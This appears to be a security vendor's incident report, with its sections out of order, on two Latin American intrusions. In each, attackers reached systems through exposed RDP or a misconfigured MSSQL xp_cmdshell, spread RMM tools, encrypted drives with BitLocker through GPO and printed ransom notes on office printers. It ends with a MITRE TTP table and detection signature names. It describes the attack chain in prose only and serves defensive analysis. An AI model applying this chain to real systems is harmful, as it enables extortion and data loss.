The use of outdated systems increases the attack surface, so we recommend that organizations adopt an effective update and patch management policy. It is also important to raise security awareness, since users must understand the risks associated with credential sharing, unknown executables, and unauthorized software.

From a digital forensics and incident response (DFIR) perspective, the reviewed incidents demonstrate that effective incident response activities require correlating multiple forensic artifacts in order to reconstruct the attacker’s actions. Investigators should be aware of how to find information even when logs are missing. Many other artifacts are preserved and can be used for this purpose, such as Amcache, PCA, Prefetch, UserAssist, MFT, and USN Journal. The attackers may fail to erase all traces of their activity, so taking a broad forensic approach is of the utmost importance for determining the scope of the compromise and supporting containment and remediation actions.

Observed TTPs

The table below shows the observed TTPs in our dataset, including cases not detailed in this post.

Tactic	Technique	ID
Resource Development	Compromise Accounts	T1586
Collection	Input Capture: Keylogging	T1056.001
Execution	System Services: Service Execution	T1569.002
Execution	Hijack Execution Flow: DLL	T1574.001
Privilege Escalation	Exploitation for Privilege Escalation	T1068
Lateral Movement	Remote Services: Remote Desktop Protocol	T1021.001
Command and Control	Remote Access Tools	T1219
Exfiltration	Exfiltration over Physical Medium: Exfiltration over USB	T1052.001
Impact	Data Encrypted for Impact	T1486

Recently, our teams in Latin America investigated a series of incidents involving misconfiguration, the deployment of BitLocker, and the exploitation of corporate printers. Attackers used the devices to notify organizations that their infrastructure had been compromised and they had to pay a ransom to recover their data.

This article analyzes two incidents that occurred in June in Colombia and in May in Mexico. We highlight the similarities in the attackers’ communications and outline emerging trends in ransom amounts.

Initial sign of an attack

In both cases, the affected users initially noticed a padlock icon next to their drives in Windows Explorer. This indicated that the drive was encrypted with BitLocker, blocking access to its contents.

A recovery key was required to unlock the drive.

This is not the first time we have seen such threats; a few years ago, our team discovered a threat known as ShrinkLocker, which utilized BitLocker to achieve its goals.

First case: abusing RDP to encrypt data

One of the incidents occurred in Colombia in June. The attackers exploited an internet-exposed RDP service on a machine connected to an 8 TB storage device containing mission-critical data. After taking control of the system and manipulating user credentials, the attackers enabled BitLocker exclusively on the drive that primarily stored financial data. Once the encryption was complete, they locked the drive and used the company’s printers to produce ransom notes.

Unfortunately, it was not possible to obtain evidence in the case due to the company’s rush to restore the encrypted disk. The communication with the attackers revealed a demand for just $3,000, and the company considered paying the ransom. After that, the system was restored before the forensic team could take any action, eliminating the evidence needed to assess the incident.

This attack was made possible by an internet-facing remote desktop service (RDP) with additional open ports, which employees used to access corporate information. By exploiting this network exposure and misconfiguration, attackers breached the system, identified an additional drive, and leveraged BitLocker to encrypt the data and demand a ransom payment. Leaving RDP ports open without proper security controls jeopardizes the security of systems and information, as highlighted in the our “Global Report: Anatomy of a Cyber World“.

The company confirmed that, due to compatibility issues with applications required for operation, EPP (Endpoint Protection Platform) protection was disabled on the system, making it easier for attackers to validate, enumerate, and execute applications without revealing malicious activity to central monitoring systems.

Second case: meet the XEntry Team

In another incident, which occurred in Mexico in May, our team identified how the threat actor gained initial access to the infrastructure. They exploited a misconfigured MSSQL service. This allowed them to execute commands on the system after obtaining the database login credentials from code insecurely published on GitHub.

In this incident, the attack began three months prior to detection, with the intruder discovering and verifying their access to the environment. After confirming their access and privilege level within the MSSQL server settings, which extended beyond the DBMS to the underlying operating system, the attackers initially focused on manipulating certain aspects of the web server configuration on the same system. They lowered the server’s security settings and created web shell files in the publicly accessible folders. Many of these attempts to manipulate the service or create malicious files were contained by existing EPP security controls, but despite the alerts, the necessary investigation to address the activity was not conducted.

The attackers subsequently confirmed their ability to execute commands locally and set up their attack infrastructure to transmit data via a communications bridge. By exploiting the MSSQL service, they gained access to each of the organization’s internal systems.

The database engine used by the company was Microsoft SQL Server 2019.0150.2160.04, misconfigured to allow operating system сommand execution via the xp_cmdshell extended stored procedure.

Due to this misconfiguration of an internet-exposed service, the attackers established a channel capable of executing any type of command directed at the server and the local infrastructure within its scope.

One of the main objectives was to identify shared systems and resources that provided access to critical information. Our analysis confirmed the attackers’ access to systems storing configuration parameters for networking, enterprise management, and cloud services, among others.

In early May, the attackers focused on running additional scans and deploying ManageEngine’s Endpoint Central RMM (Remote Monitoring and Management) to establish persistence and begin the final stages of their intrusion.

Further RMM-type applications, such as Mesh Agent and Tactical RMM, were installed in the days that followed. These were used to deploy scheduled tasks responsible for enabling the BitLocker service and individually encrypting the infrastructure’s disks, generating a key for each encrypted system.

Finally, in mid-May, the attackers managed to execute a Group Policy Object (GPO) used to deploy activation and encryption tasks, as well as other policies responsible for continued deployment of RMM applications via scheduled tasks. The activity initially targeted critical systems but later spread to every system synchronized with the domain controller. Users became aware of the attack when their machines displayed a blue screen with the message “Hacked by XEntry Team”, and their credentials stopped working to access their systems.

A few hours later, ransom notes began emerging from office printers.

These cases confirm that adversary’s objective is to gain access to infrastructure while avoiding investment in or partnership with ransomware groups. Instead, they leverage built-in Microsoft tools to facilitate data encryption and ransom payments. Monitoring and centralizing logs on protected resources, as well as promptly managing alerts, are critical to countering this type of intrusion.

Conclusions

• Although the systems under review had security measures in place, there was a lack of proper alert management or inadequate decisions regarding application incompatibilities.
• We strongly recommend configuring the Remote Desktop Protocol (RDP) in strict accordance with cybersecurity best practices to prevent unauthorized access. This is especially critical: according to our Global Report: Anatomy of a Cyber World, more than 13% of incidents are related to policy violations and configuration errors, confirming that misconfigurations continue to pose a significant risk.
• Organizations should prioritize strict application control policies and active monitoring of network traffic for command-and-control (C2) communications. This is especially critical: according to the same report, more than 20% of incidents involved the abuse of RMM (Remote Monitoring and Management) tools for execution and C2 strategies. The fact that attackers used more than three distinct tools to gain control during a single incident further underscores the urgent need for these measures.
• Some questions remain unanswered due to a lack of evidence and a hasty system restoration effort that bypassed critical stages of the incident response process. It is important to ensure an adequate incident response procedure, preserving evidence to confirm all related activities, and adjusting or proposing controls to prevent future incidents involving similar TTPs.
• Although the ransom notes do not reveal a clear connection between the actors, certain words used in the messages, as well as the method of delivery and communication, may confirm a link:

“As a guarantee, we have no negative online reviews about non-fulfillment of our obligations…” (Ransom note from the first case)

“Our reputation is the guarantee that all content will be fulfilled…” (Ransom note from the second case)

Our teams continue to monitor these threats.

Detection signatures

• Trojan.Multi.Agent.gen
• Trojan.Win32.GenAutorunMsSqlServerCommandRun.a
• Trojan.Win32.Generic
• Exploit.Win32.SCShell.a